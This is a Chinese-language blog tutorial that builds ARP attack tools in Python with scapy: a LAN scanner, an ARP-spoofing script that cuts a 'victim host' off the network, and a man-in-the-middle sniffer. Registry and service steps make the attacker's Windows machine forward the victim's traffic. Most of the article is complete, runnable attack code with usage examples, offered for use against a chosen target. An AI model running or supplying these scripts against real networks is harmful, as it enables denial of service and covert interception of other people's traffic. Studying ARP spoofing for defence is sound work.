21.6 Python 构建ARP中间人数据包

2023-11-07 14:45

本文主要是介绍21.6 Python 构建ARP中间人数据包,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。

首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。

from scapy.all import *
import argparse
import threading,time
import logging# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):_split = targets.split('/')first_ip = _split[0]ip_split = first_ip.split('.')ipv4 = range(int(ip_split[3]),int(_split[1])+1)addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]return addr# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):try:ret = sr1(ARP(pdst=address),timeout=5,verbose=False)if ret:if ret.haslayer('ARP') and ret.fields['op'] == 2:print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))except Exception:exit(1)if __name__ == "__main__":logging.getLogger("scapy.runtime").setLevel(logging.ERROR)parser = argparse.ArgumentParser()parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")args = parser.parse_args()# 使用方式: main.py -s 192.168.1.1/100if args.scan:addr_list = Parse_IP(args.scan)for item in addr_list:threads = []t = threading.Thread(target=ARP_Scan,args=(item,))threads.append(t)t.start()for item in threads:item.join()else:parser.print_help()

上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。

读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。

from scapy.all import *
import argparse
import threading,time
import logging# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))# 生成ARP数据包,伪造网关欺骗目标计算机sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)# 生成ARP数据包,伪造目标计算机欺骗网关sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="输入接口名")parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")args = parser.parse_args()# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10if args.gateway and args.target:srcMac = get_if_hwaddr(args.interface)                 # 通过接口名称获取本机MAC地址tgtMac = getmacbyip(args.target)                       # 通过IP地址获取目标计算机的MAC地址gatewayMac = getmacbyip(args.gateway)                  # 指定本机网段的网关MAC地址while True:t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))t.start()t.join()time.sleep(1)else:parser.print_help()

读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:

  • HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters

选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。

import sys,os,threading
import argparse
from scapy.all import *# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):dst_Mac=str(getmacbyip(target_ip))self_Mac=str(get_if_hwaddr(interface))Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)try:sendp(Ether_data,inter=2,iface=interface,loop=1)except Exception as e:print("目标ARP数据发送失败!")# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):dst_Mac = getmacbyip(gateway_ip)self_Mac = get_if_hwaddr(interface)Ether_data = NoneEther_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)try:sendp(Ether_data, inter=2,iface=interface,loop=1)except Exception as e:print("网关ARP数据发送失败!")def Packet_CallBack(pkt):if pkt.haslayer(IP):if pkt.getlayer(IP).src != "127.0.0.1":ip_src = pkt.getlayer(IP).srcip_dst = pkt.getlayer(IP).dstprint("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))if __name__ == "__main__":# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")args = parser.parse_args()if args.interface and args.target_ip and args.gateway:try:t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))t1.setDaemon(True)t1.start()t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))t2.setDaemon(True)t2.start()sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)except Exception:sys.exit(1)while True:passelse:parser.print_help()

读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

这篇关于21.6 Python 构建ARP中间人数据包的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/364326

相关文章

使用Python删除Excel中的行列和单元格示例详解

《使用Python删除Excel中的行列和单元格示例详解》在处理Excel数据时,删除不需要的行、列或单元格是一项常见且必要的操作,本文将使用Python脚本实现对Excel表格的高效自动化处理,感兴... 目录开发环境准备使用 python 删除 Excphpel 表格中的行删除特定行删除空白行删除含指定

Python通用唯一标识符模块uuid使用案例详解

《Python通用唯一标识符模块uuid使用案例详解》Pythonuuid模块用于生成128位全局唯一标识符,支持UUID1-5版本,适用于分布式系统、数据库主键等场景,需注意隐私、碰撞概率及存储优... 目录简介核心功能1. UUID版本2. UUID属性3. 命名空间使用场景1. 生成唯一标识符2. 数

Python办公自动化实战之打造智能邮件发送工具

《Python办公自动化实战之打造智能邮件发送工具》在数字化办公场景中,邮件自动化是提升工作效率的关键技能,本文将演示如何使用Python的smtplib和email库构建一个支持图文混排,多附件,多... 目录前言一、基础配置:搭建邮件发送框架1.1 邮箱服务准备1.2 核心库导入1.3 基础发送函数二、

Python包管理工具pip的升级指南

《Python包管理工具pip的升级指南》本文全面探讨Python包管理工具pip的升级策略,从基础升级方法到高级技巧,涵盖不同操作系统环境下的最佳实践,我们将深入分析pip的工作原理,介绍多种升级方... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

基于Python实现一个图片拆分工具

《基于Python实现一个图片拆分工具》这篇文章主要为大家详细介绍了如何基于Python实现一个图片拆分工具,可以根据需要的行数和列数进行拆分,感兴趣的小伙伴可以跟随小编一起学习一下... 简单介绍先自己选择输入的图片,默认是输出到项目文件夹中,可以自己选择其他的文件夹,选择需要拆分的行数和列数,可以通过

Python中反转字符串的常见方法小结

《Python中反转字符串的常见方法小结》在Python中,字符串对象没有内置的反转方法,然而,在实际开发中,我们经常会遇到需要反转字符串的场景,比如处理回文字符串、文本加密等,因此,掌握如何在Pyt... 目录python中反转字符串的方法技术背景实现步骤1. 使用切片2. 使用 reversed() 函

Python中将嵌套列表扁平化的多种实现方法

《Python中将嵌套列表扁平化的多种实现方法》在Python编程中,我们常常会遇到需要将嵌套列表(即列表中包含列表)转换为一个一维的扁平列表的需求,本文将给大家介绍了多种实现这一目标的方法,需要的朋... 目录python中将嵌套列表扁平化的方法技术背景实现步骤1. 使用嵌套列表推导式2. 使用itert

使用Docker构建Python Flask程序的详细教程

《使用Docker构建PythonFlask程序的详细教程》在当今的软件开发领域,容器化技术正变得越来越流行,而Docker无疑是其中的佼佼者,本文我们就来聊聊如何使用Docker构建一个简单的Py... 目录引言一、准备工作二、创建 Flask 应用程序三、创建 dockerfile四、构建 Docker

Python使用vllm处理多模态数据的预处理技巧

《Python使用vllm处理多模态数据的预处理技巧》本文深入探讨了在Python环境下使用vLLM处理多模态数据的预处理技巧,我们将从基础概念出发,详细讲解文本、图像、音频等多模态数据的预处理方法,... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

Python使用pip工具实现包自动更新的多种方法

《Python使用pip工具实现包自动更新的多种方法》本文深入探讨了使用Python的pip工具实现包自动更新的各种方法和技术,我们将从基础概念开始,逐步介绍手动更新方法、自动化脚本编写、结合CI/C... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核